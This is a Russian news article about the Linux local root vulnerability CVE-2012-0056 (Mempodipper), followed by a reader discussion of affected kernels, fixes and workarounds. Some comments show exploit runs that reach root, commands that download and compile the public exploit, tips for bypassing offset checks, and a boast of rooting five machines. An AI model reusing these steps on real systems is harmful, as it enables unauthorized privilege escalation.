The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

В ядре Linux найдена локальная root-уязвимость

23.01.2012 15:48

В ядре Linux найдена опасная уязвимость, позволяющая локальному злоумышленнику выполнить код с правами пользователя root (при наличии доступной пользователю SUID root программы, такой как, например, /bin/su). Проблема наблюдается, начиная с ядра 2.6.39. Уязвимость также проявляется для ядра, используемого в RHEL 6 (начиная с 2.6.32-220.el6, но старее 2.6.32-220.4.1, в котором уязвимость исправлена). На данный момент уже опубликовано три рабочих эксплоита. Уязвимости присвоен номер CVE-2012-0056.

Источником уязвимости является ошибка в реализации proc-интерфейса для прямого доступа к памяти процесса (/proc/pid/mem). До версии ядра 2.6.39 этот интерфейс предоставлял доступ только на чтение, т.к. было известно, что для записи он небезопасен. Незадолго до выхода версии 2.6.39 ограничения доступа к /proc/pid/mem были переделаны, после чего доступ на запись был разрешён. Как оказалось, проверка привилегий была выполнена некорректно, что позволяет локальному пользователю получить права суперпользователя во всех ядрах 2.6.39 и выше (исключая GIT snapshot, в котором данная уязвимость была на днях закрыта), а также в ядрах из состава RHEL 6.

Уязвимость обнаружил Juri Aedla, который в приватном порядке уведомил разработчиков ядра Linux. К сожалению, изменения в Git-репозитории ядра были внесены спешно, что позволило создать эксплоиты на основе анализа изменений ещё до появления обновлений с исправлением проблемы в дистрибутивах. На момент публикации этой новости уязвимость была исправлена в дистрибутивах ALT Linux. По неофициальной информации, обновления для Red Hat и Ubuntu планировалось выпустить завтра, но в ситуации появления эксплоита в публичном доступе, процесс выпуска обновлений будет форсирован и, возможно, они выйдут уже сегодня.

Временно нейтрализовать проблему можно запретив доступ пользователей ко всем SUID/SGID программам, либо с помощью systemtap (на дистрибутивах от Red Hat и на Debian и Ubuntu). В число уязвимых попадают некоторые продукты на базе RHEL 6 и относительно недавно выпущенные дистрибутивы, поставляемые с ядрами 2.6.39, 3.0, 3.1 и 3.2 - Fedora 16, Ubuntu 11.10, OpenSUSE 12.1, Arch Linux, Gentoo и т.п. Статус выпуска обновлений для различных дистрибутивов можно проследить на данных страницах: Ubuntu, Gentoo, openSUSE, Fedora, Debian, Red Hat Enterprise Linux 6, Scientific Linux 6 и Cent OS 6.

Дополнение 1: Выявленная проблема по своему проявляется и для более старых ядер Linux до версии 2.6.39, для которых потенциально возможно проведение менее опасных атак, связанных с чтением областей памяти процессов (например, возможно чтение остающихся в памяти определённого процесса криптографических ключей, хэшей паролей и других приватных данных).

Дополнение 2: Упомянутый выше Git-коммит привносит другую, сравнительно небольшую, проблему (возможный обход ограничения расхода памяти пользователем).

Дополнение 3: Вышло обновление с устранением уязвимости для Ubuntu 11.10.

Дополнение 4: Вышел эксплоит для платформы Android.

Дополнение 5: Вышло обновление для RHEL 6.

Дополнение 6: На RHEL 6 и некоторых других системах, где опубликованные эксплойты как-бы не работают, дело в ASLR и PIE. Для успешной атаки потребуется другая SUID/SGID-программа (собранная не как PIE, но тоже выводящая что-то подходящее в stdout или stderr) или обход ASLR (много запусков) или выключенный ASLR (для проверки). Поэтому, для пользователей подобных систем также важно установить обновление для ядра Linux.

Дополнение 7: Kees Cook (Chrome OS, Ubuntu) предлагает добавить в ядро новый sysctl kernel.proc_pid_mem, который позволит отключать поддержку /proc/pid/mem полностью или ограничивать ее режимом только на чтение. На данный момент (24 января), в LKML опубликована уже третья редакция соответствующего патча, с учетом замечаний от других разработчиков.

Дополнение 8: Данная уязвимость исправлена в ядрах 3.0.18 и 3.2.2 c использованием ранее указанного коммита.

  1. Главная ссылка к новости (http://blog.zx2c4.com/749...)
  2. OpenNews: Релиз Linux-ядра 2.6.39
Автор новости: Artem S. Tashkinov
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/32872-linux
Ключевые слова: linux, security, exploit, proc
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (192) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, birdie (?), 16:00, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Работает - запускал в виртуалке (фиг знает что там за shell code):

    Ядро 3.2.1:

    $ ./a.out
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/2684/mem in child.
    [+] Sending fd 3 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x8049a44.
    [+] Calculating su padding.
    [+] Seeking to offset 0x8049a38.
    [+] Executing su with shellcode.
    # whoami
    root

     
     
  • 2.181, Аноним (-), 23:44, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Работает - запускал в виртуалке (фиг знает что там за shell code):

    А оно там со _всеми_ исходниками, и прога, и шеллкод.
    См http://git.zx2c4.com/CVE-2012-0056/tree/

    Субъективно - довольно простой и честный код, не вижу откровенных заподлян в отличие от кислотных сук с крайне мутным кодом и хзчтоделающим шеллкодом.

     

  • 1.3, ВКПб (?), 16:48, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    C grsecurity не сработал эксплойт.
     
     
  • 2.20, deadless (ok), 17:22, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    а с SELinux ?
     
     
  • 3.41, ВКПб (?), 18:00, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Зависит от обрезанности /proc.
     

  • 1.4, Аноним (-), 16:48, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +25 +/
    Ого, какая продинутая и нетривиальная атака. Целый детектив по обходу затычек и проверок, с epic win-ом в конце. Обнаруживший это - реальный молоток, с мышлением истинного хакера. Там где программист думает "как сделать чтобы работало", хакер думает "а как бы мне сделать чтобы оно нае...лось?!"
     
  • 1.5, abra (ok), 16:49, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    Linux localhost 3.2.0-10-generic #17-Ubuntu SMP Thu Jan 19 19:04:20 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

    тоже работает

     
     
  • 2.217, XoRe (ok), 18:52, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Linux localhost 3.2.0-10-generic #17-Ubuntu SMP Thu Jan 19 19:04:20 UTC 2012 x86_64
    > x86_64 x86_64 GNU/Linux
    > тоже работает

    мы атакуем ваш localhost )

     

  • 1.6, Микро (?), 16:56, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +10 +/
    Порутал 5 машин уже, спасибо.
     
     
  • 2.49, Клыкастый2 (?), 18:27, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Порутал 5 машин уже, спасибо.

    :)))) ай какой нехорооооший....

     

  • 1.8, Дмитрий (??), 17:01, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • –12 +/
    2.6.32-5-686-bigmem SMP i686 Debian Squeeze

    user@usercomp:/tmp/1$ ./a.out
    ...
    [+] Seeking to offset 0x8049a29.
    [+] Executing su with shellcode.
    user@usercomp:/tmp/1$

    ЧЯДНТ?

     
     
  • 2.10, Аноним (-), 17:02, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Написано же - с ядер. 2.6.39
     
  • 2.11, Аноним (-), 17:02, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +7 +/
    > ЧЯДНТ?

    Новость не читаешь. Там русским по болотному написано: работает для ядер .39 и новее.

     
  • 2.12, arachnid (ok), 17:03, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    номер ядер сравни :)
     
  • 2.13, Аноним (-), 17:04, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > 2.6.32-5-686-bigmem SMP i686 Debian Squeeze
    > ЧЯДНТ?

    Перечитайте о каких версиях ядра идёт речь.


     
  • 2.14, anthonio (ok), 17:09, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    читаешь хреново...
    >= 2.6.39
     
  • 2.15, CrOrc (?), 17:09, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Сказано: начиная с 2.6.39.
    В Debian 2.6.39 только в testing и backports.
     
  • 2.18, Lain_13 (?), 17:20, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +19 +/
    Мне так показалось, что выше не совсем ясно сказали, что дело в версии ядра, а потому я тоже обращу на это внимание.
     
  • 2.75, ASM (??), 19:33, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    обратите внимание на версию ядра
     
  • 2.84, phaoost (ok), 20:41, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +3 +/
    да-да, обратите внимание на версию ядра
     
     
  • 3.167, Аноним (-), 16:49, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > да-да, обратите внимание на версию ядра

    Думаю, нужно всё-таки ядро поновее, .39 там или выше. Обратите внимание на версию ядра.

     
  • 2.116, Аноним (-), 00:25, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Скорее всего, дело в версии вашего ядра.
     
  • 2.119, Аноним (-), 05:30, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Для тугодумов: человек акцентировал внимание на том, что не нужно гнаться за версиями. Нужно сидеть на стабильненьком дебиане, без уязвимостей.
     
     
  • 3.234, taz (?), 16:29, 01/02/2012 [^] [^^] [^^^] [ответить]  
  • +/
    ой лол, а сквиз уже не стабилен вдруг? ;)
     
  • 2.218, XoRe (ok), 18:55, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > ЧЯДНТ?

    Думаете, в версиях с 2.6.32 по 2.6.39 только цыфырку меняли?
    В 2.67.32 вполне может быть дырка, которую уже закрыли в новых версиях.
    Дырку от 2.6.39 тоже вполне оперативно закроют.
    Сидеть на одной версии можно.
    Но что вы будете делать, когда найдут дырку в вашей версии ядра?

     
     
  • 3.221, RusAlex (?), 23:38, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    дело в том, что в версии .39 была убрана дополнительная проверка, вледствие чего уязвимость и стала возможной.
     
  • 3.225, Andrey Mitrofanov (?), 10:37, 26/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > с 2.6.32
    > В 2.67.32 вполне может быть дырка, которую уже закрыли в новых версиях.

    Вам привет от Грега КХ и 2.6.32.55.

    > Но что вы будете делать, когда найдут дырку в вашей версии ядра?

    Про дистрибутивы не слышали? Про обновления безопасности?? Да! Расскажите нам ещё про дИрки!! </tag>

     

  • 1.16, ALex_hha (ok), 17:14, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А RHEL то зачем приплели, там 2.6.32
     
     
  • 2.24, solardiz (ok), 17:28, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Там не 2.6.32, а своя ветка, уже давно ушедшая от 2.6.32 на приличное расстояние.

    "CVE-2012-0056 affects the Linux kernel as shipped with Red Hat Enterprise Linux 6 from version 2.6.32-220.el6 (RHSA-2011:1530) and later, and Red Hat Enterprise MRG from version 2.6.33.9-rt31.75.el6rt (RHSA-2011:1253) and later. (The kernels shipped with RHSA-2011:1530 and RHSA-2011:1253 included a backport of upstream git commit 198214a7.)"

     

  • 1.19, solardiz (ok), 17:20, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +6 +/
    Проблеме также подвержены свежие ядра из RHEL 6 (новость исправил). Вот анализ от Red Hat:

    https://access.redhat.com/kb/docs/DOC-69129
    https://bugzilla.redhat.com/show_bug.cgi?id=782642

    Там же - workaround с использованием SystemTap. Другой workaround - убрать пользователям доступ ко всем SUID/SGID программам.

    К сожалению, исправление в git от 17-го января привносит другую проблему, сравнительно небольшую (обход RLIMIT_NPROC * RLIMIT_AS):

    http://www.openwall.com/lists/oss-security/2012/01/22/5

    Дискуссия на /r/netsec:

    http://www.reddit.com/r/netsec/comments/os8wl/linux_local_privilege_escalatio

    Более старые ядра именно этой атаке не подвержены, но могут быть подвержены схожим атакам через чтение (а не запись) того же /proc/<pid>/mem. Конкретных атак (attack vectors) пока нет (пока не нашли такой программы и такого способа атаки, чтобы это было проблемой безопасности); в теории, это может быть утечка криптографических ключей, хешей паролей и т.п. Исправление этого обсуждается. В любом случае, это будет другой номер CVE.

     
     
  • 2.156, Аноним (-), 14:13, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Читать ваши комментарии на опеннете, пожалуй, интереснее всех остальных.
     

  • 1.22, Аноним (-), 17:25, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    > На данный момент ни один из дистрибутивов данную ошибку не закрыл.

    Debian stable не повержен насколько я понял.

     
     
  • 2.42, Michael Shigorin (ok), 18:10, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    >> На данный момент ни один из дистрибутивов данную ошибку не закрыл.

    Неправда.

    > Debian stable не повержен насколько я понял.

    Он и не был подвержен с 2.6.32, очевидно.  А в альте исправили три дня тому в 3.0/3.2:
    http://packages.altlinux.org/en/t6/srpms/kernel-image-std-def/changelog
    http://packages.altlinux.org/en/t6/srpms/kernel-image-un-def/changelog

     
     
  • 3.169, vle (ok), 17:18, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > А в альте исправили три дня тому в 3.0/3.2:
    > http://packages.altlinux.org/en/t6/srpms/kernel-image-std-def/changelog
    > http://packages.altlinux.org/en/t6/srpms/kernel-image-un-def/changelog

    По поводу ASLR/PIE в качестве защиты.
    В ядре 2.6.26 /proc/*/maps выставлен флаг чтения для ВСЕХ.
    Более новых ядер у меня нет, чтоб посмотреть.
    Проверьте у себя.

    JFYI:
    http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/miscfs/procfs/procfs_vnops.c?rev=

     

  • 1.23, Андрей (??), 17:27, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    uname -a
    Linux big.home.local 3.2.1-gentoo #1 SMP Sat Jan 14 19:21:48 MSK 2012 x86_64 AMD Athlon(tm) II X2 215 Processor AuthenticAMD GNU/Linux

    не работает :S

    ./a.out
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/9108/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [-] Could not resolve /bin/su. Specify the exit@plt function address manually.
    [-] Usage: ./a.out -o ADDRESS
    [-] Example: ./a.out -o 0x402178

     
     
  • 2.120, anonymous (??), 05:56, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    скопируй в /bin/su любой суидный исполняемый файл, заработает.
     
     
  • 3.121, arisu (ok), 05:59, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +6 +/
    > скопируй в /bin/su любой суидный исполняемый файл, заработает.

    а может, сразу уже пароль рута вести и не мучаться?

     
     
  • 4.184, Аноним (-), 00:01, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > а может, сразу уже пароль рута вести и не мучаться?

    Угадать адрес в su как-то зело проще чем пароль от рута.

     

  • 1.25, bircoph (ok), 17:28, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Разные машины с Gentoo, ядра 2.6.39.3, 3.0.8, 3.1.6.
    Ни один из эксплойтов не работает 8-P
     
     
  • 2.28, Кровавый (?), 17:35, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +9 +/
    Ну это же Gentoo. Надо было курить маны, потом пересобирать! ;)
     
  • 2.29, sig_wall (?), 17:35, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +5 +/
    в генте /bin/su нечитаем для обычного юзера - надо указывать оффсет вручную. в моей генте подошло -o 0x402100
     
     
  • 3.46, Michael Shigorin (ok), 18:18, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > в генте /bin/su нечитаем для обычного юзера - надо указывать оффсет вручную.

    В ALT -- обычно тоже, доступных всем suid binaries негусто.

     
     
  • 4.88, Аноним (-), 21:34, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > В ALT -- обычно тоже, доступных всем suid binaries негусто.

    А зачем нужен su недоступный пользователю? :))

     
     
  • 5.96, Michael Shigorin (ok), 22:10, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >> В ALT -- обычно тоже, доступных всем suid binaries негусто.
    > А зачем нужен su недоступный пользователю? :))

    1) для понижения привилегий рутом;
    2) если недоступен всем, то это ещё не значит, что недоступен и wheel.

     
     
  • 6.178, Аноним (-), 23:23, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > 1) для понижения привилегий рутом;

    А я почему-то всегда думал что su в основном нужен чтобы разрешить сильно некоторые административные операции выборочно некоторым пользователям, гранулярно, контролируемо и не более чем необходимо. Обувание рута на права - напоминает закручивание гвоздя отверткой. Если права не нужны - зачем тогда рутом логиниться?

    > 2) если недоступен всем, то это ещё не значит, что недоступен и wheel.

    Наверное прикольно когда права доступа раскиданы по 2 разным местам - участию в группе и самому конфигу суды. Мне такой подход кажется несколько кривым/неудобным.

     
     
  • 7.183, Michael Shigorin (ok), 23:55, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > А я почему-то всегда думал [...]

    http://www.opennet.dev/openforum/vsluhforumID3/73378.html#19

    > Если права не нужны - зачем тогда рутом логиниться?

    Необязательно эти права унаследованы от login(1). :)

    >> 2) если недоступен всем, то это ещё не значит, что недоступен и wheel.
    > Наверное прикольно когда права доступа раскиданы по 2 разным местам - участию
    > в группе и самому конфигу суды.

    В конфиг смотрит сама программа, а вот группой можно ограничить доступ на её запуск.

    > Мне такой подход кажется несколько кривым/неудобным.

    В ALT (и как понимаю -- Owl) это может быть control sudo wheelonly: http://www.altlinux.org/Control

     
     
  • 8.186, Аноним (-), 00:12, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Упс Я тормоз и почему-то подумал в этот момент о sudo, на основании чего меня ... текст свёрнут, показать
     
  • 5.114, arisu (ok), 00:00, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > А зачем нужен su недоступный пользователю? :))

    доступность для запуска != доступность для чтения. ваш Кэп.

     
     
  • 6.152, Аноним (-), 13:32, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    зачем читать su?
     
  • 6.179, Аноним (-), 23:29, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > доступность для запуска != доступность для чтения. ваш Кэп.

    А, я думал пользователя просто совсем обули на какую либо деятельность с su. А в чем профит запрета чтения файла su при доступности его выполнения? Если в затыкании сплойтов типа этого - так это совсем уж как-то в стиле "windows xp with firewall.jpg" - серьезно настроенный деятель адрес так или иначе добудет. Хотя-бы взяв файл из пакета.

     
     
  • 7.180, arisu (ok), 23:35, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > А в чем профит запрета чтения файла su при доступности его выполнения?

    а зачем обычному юзеру его читать? мало ли, какая там информация, всё-таки suid.

     
     
  • 8.187, Аноним (-), 00:17, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Собственно, обычный пользователь может его из пакета качнуть, так что если там к... текст свёрнут, показать
     
     
  • 9.189, arisu (ok), 00:23, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    орли не путаем админа локалхоста и 171 обычного юзера 187 да, я в курсе, ч... текст свёрнут, показать
     
  • 7.182, Аноним (-), 23:48, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >> доступность для запуска != доступность для чтения. ваш Кэп.
    > А, я думал пользователя просто совсем обули на какую либо деятельность с
    > su. А в чем профит запрета чтения файла su при доступности
    > его выполнения? Если в затыкании сплойтов типа этого - так это
    > совсем уж как-то в стиле "windows xp with firewall.jpg" - серьезно
    > настроенный деятель адрес так или иначе добудет. Хотя-бы взяв файл из
    > пакета.

    Сколько вон дырок находили в glibc. Не удивлюсь, если завтра опять через дыру в дебрях ld.so/ldd можно будет получить рута. Ну, кроме ldd /path/to/crafted/elf.

     
  • 3.77, Андрей (??), 19:57, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    ну это, наверное, PIC "виноват"?:)
     
     
  • 4.170, vle (ok), 17:21, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > ну это, наверное, PIC "виноват"?:)

    ls -la /proc/1/maps; uname -srm
    что говорят?

     
  • 3.151, arsenicum (??), 12:57, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Сырцы обновили, теперь в указании смещения нет необходимости. 3.1.6-gentoo — работает.
     
     
  • 4.157, arisu (ok), 14:22, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    что-то не вижу обновлений.
     
     
  • 5.166, arsenicum (??), 16:38, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    http://git.zx2c4.com/CVE-2012-0056/
     
     
  • 6.176, arisu (ok), 21:33, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > http://git.zx2c4.com/CVE-2012-0056/

    хм. таки да.

     
  • 2.145, Аркола (?), 11:29, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Ну ты не так собрал :)
     

  • 1.26, savant (ok), 17:31, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А для ARM будет работать?
     
     
  • 2.36, EuPhobos (ok), 17:53, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Будет, но эксплоит нужен соответсвующий..
     
  • 2.190, Аноним (-), 01:00, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > А для ARM будет работать?

    По дефолту не будет. Там в нескольких местах есть:
    #else
    #error "That platform is not supported."
    #endif

    Но в принципе и для ARM можно поправить при сильном желании. Нет шеллкода и некоторые архитектурозависимых сущностей.

     

  • 1.27, FiX лень логиниться (?), 17:34, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Linux fix-laptop 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Intel(R) Core(TM) i7-2617M CPU @ 1.50GHz GenuineIntel GNU/Linux

    Подозреваю, что уже пофиксено? Тогда в топике дезинформация - Arch не попадает в список.

     
     
  • 2.30, FiX лень логиниться (?), 17:36, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Хм... пишут, что на 3.2.1 все же работает.
    Получается, что дырка до сих пор не исправлена даже в официальном ядре?
     
     
  • 3.39, solardiz (ok), 17:57, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Получается, что дырка до сих пор не исправлена даже в официальном ядре?

    Исправлена 17-го числа. 3.2.1 вышел раньше. 3.3-rc1 вышел 19-го и, думаю, уже содержит это исправление.

     
  • 2.32, Anonimous (?), 17:39, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Тоже ядро, тот же Arch. Не работает: segmentation fault ./mempodipper
     
     
  • 3.79, анон (?), 19:59, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Тоже ядро, тот же Arch. Не работает: segmentation fault ./mempodipper

    Как его вообще скомпилить %) ???

     
     
  • 4.111, emg81 (ok), 23:55, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    $ wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
    $ gcc mempodipper.c
    $

    скомпилен файл a.out. разве это сложно? :)

     
  • 2.112, дон педро (?), 23:58, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    подтверждаю. в арче не работает.
     

  • 1.33, Аноним (-), 17:41, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0056 написано:
    > Candidate assigned on 20111207

    Это страшно.

     
     
  • 2.37, solardiz (ok), 17:54, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Вовсе не страшно. CNA, включая Red Hat, получают пулы CVE-номеров заранее, еще не под конкретные уязвимости. Как я понимаю, видимая на cve.mitre.org дата - это дата выделения очередного пула в данном случае Red Hat'у.

    http://cve.mitre.org/cve/cna.html

    А реально этот CVE-номер был присвоен именно этой уязвимости вот где и когда:

    http://www.openwall.com/lists/oss-security/2012/01/18/2

    т.е. почти сразу после исправления в git и первого постинга в oss-security - собственно, он и был CVE request'ом (в данном случае от одного сотрудника Red Hat другому, но публично - в целях transparency процесса и доступности CVE id сразу и другим distro vendors).

    Red Hat здесь сработал отлично. Я не вижу, что они могли сделать лучше.

     

  • 1.43, Аноним (-), 18:12, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Снова человеческий фактор легкомыслия. Исправления таких вещей надо публиковать после того как вендоры выпустят обновления (лучше на день или два позже).

    Неужели и в наш век в сети можно найти сервис где локальные учетки раздают?

     
     
  • 2.47, Клыкастый2 (?), 18:18, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >  Исправления таких вещей надо публиковать после того как вендоры выпустят обновления

    это да, ато вдруг внезапно выяснится, что apt-get-kiddies не в состоянии патч наложить.

    > Неужели и в наш век в сети можно найти сервис где локальные учетки раздают?

    точно не скажу, но без виртуализации я бы не рискнул. Более тонкий вопрос: внутри одной конторы. Например кроме админа есть товарисчи, имеющие шелл. Они вроде как и свои, но как бы не сильно хотелось, чтобы у них был рут.

     
     
  • 3.91, Аноним (-), 21:38, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > это да, ато вдруг внезапно выяснится, что apt-get-kiddies не в состоянии патч
    > наложить.

    У аптгетчиков уже апдейт прилетел, приколись? Оперативно работают, ядро прилетает одновременно с новостью :)

     
     
  • 4.105, Аноним (-), 23:29, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > У аптгетчиков уже апдейт прилетел, приколись? Оперативно работают, ядро прилетает одновременно
    > с новостью :)

    У других апгетчиков, нестабильных, апдейт пока прилетать не планирует.

     
     
  • 5.191, Аноним (-), 01:03, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > У других апгетчиков, нестабильных, апдейт пока прилетать не планирует.

    В убунтах например прилетело очень быстро, буквально вместе с новостью.

     
  • 4.160, Аноним (-), 15:36, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > У аптгетчиков уже апдейт прилетел, приколись? Оперативно работают, ядро прилетает одновременно с новостью :)

    В комплекте с закрытием этой уязвимости - прилетело открытие новой.
    В общем, нет покоя аптгетчикам :)

     
     
  • 5.188, Michael Shigorin (ok), 00:23, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > В комплекте с закрытием этой уязвимости - прилетело открытие новой.

    (глядя в почту) В упор не наблюдаю.

    > В общем, нет покоя аптгетчикам :)

    apt-get yaawn :)

     
  • 5.192, Аноним (-), 01:05, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > В комплекте с закрытием этой уязвимости - прилетело открытие новой.

    Что за новая уязвимость? Пруф?

    > В общем, нет покоя аптгетчикам :)

    А остальные чем принципиально лучше/хуже? У них дырки чтоли персональные? :)

     
     
  • 6.202, Аноним (-), 02:05, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Что за новая уязвимость? Пруф?

    http://www.openwall.com/lists/oss-security/2012/01/22/5

    > А остальные чем принципиально лучше/хуже? У них дырки чтоли персональные? :)

    Нет, это у убунты персональные дырки. Потому что ее "разработчикам" лень проверять патчи, которые они применяют.

     
     
  • 7.235, Аноним (-), 16:33, 07/02/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Нет, это у убунты персональные дырки. Потому что ее "разработчикам" лень проверять
    > патчи, которые они применяют.

    А остальные как обрулили проблему озвученную в рассылке?

     
  • 2.51, filosofem (ok), 18:28, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >Неужели и в наш век в сети можно найти сервис где локальные учетки раздают?

    Не обязательно. На вэб-хостинг к примеру достаточно php-shell заалоадить.

     
     
  • 3.63, Аноним (-), 19:02, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Вариант вывалится из под контроля процесса под его привелегии я понимаю. Но спрашивал я именно про локальные учетки. Почему-то мне думается что уже повсюду контейнеры ..
     
     
  • 4.69, solardiz (ok), 19:13, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Почему-то мне думается что уже повсюду контейнеры ..

    Shared hosting действительно у многих перемещается в контейнеры, но внутри них по-прежнему создаются сотни аккаунтов, в том числе с SSH-доступом. (Правда, у нас там нет ни одной доступной пользователю SUID root программы - контейнеры под shared hosting создаем на основе Owl.) Создавать по контейнеру на каждого клиента shared hosting'а непрактично.

     
  • 4.72, Аноним (-), 19:19, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Далеко не все используют контейнеры для затыкания рутовых зеро-дэй, которые ожидаются by design. Равно как и далеко не все используют контейнеры для дозагрузки простаивающих многоядерников. Не у всех они простаивают и не всем нужно аргументированно дозагрузить камни и получить обоснование для покупки нового харда/откатов.
     
     
  • 5.82, Michael Shigorin (ok), 20:20, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Далеко не все

    ...и пусть их.

     
  • 5.161, Аноним (-), 15:38, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Равно как и далеко не все используют контейнеры для дозагрузки
    > простаивающих многоядерников. Не у всех они простаивают и не всем нужно
    > аргументированно дозагрузить камни и получить обоснование для покупки нового харда/откатов.

    Не знаю как у вас, а у нас в линуксе оверхед от контейнеров (lxc) практически нулевой.
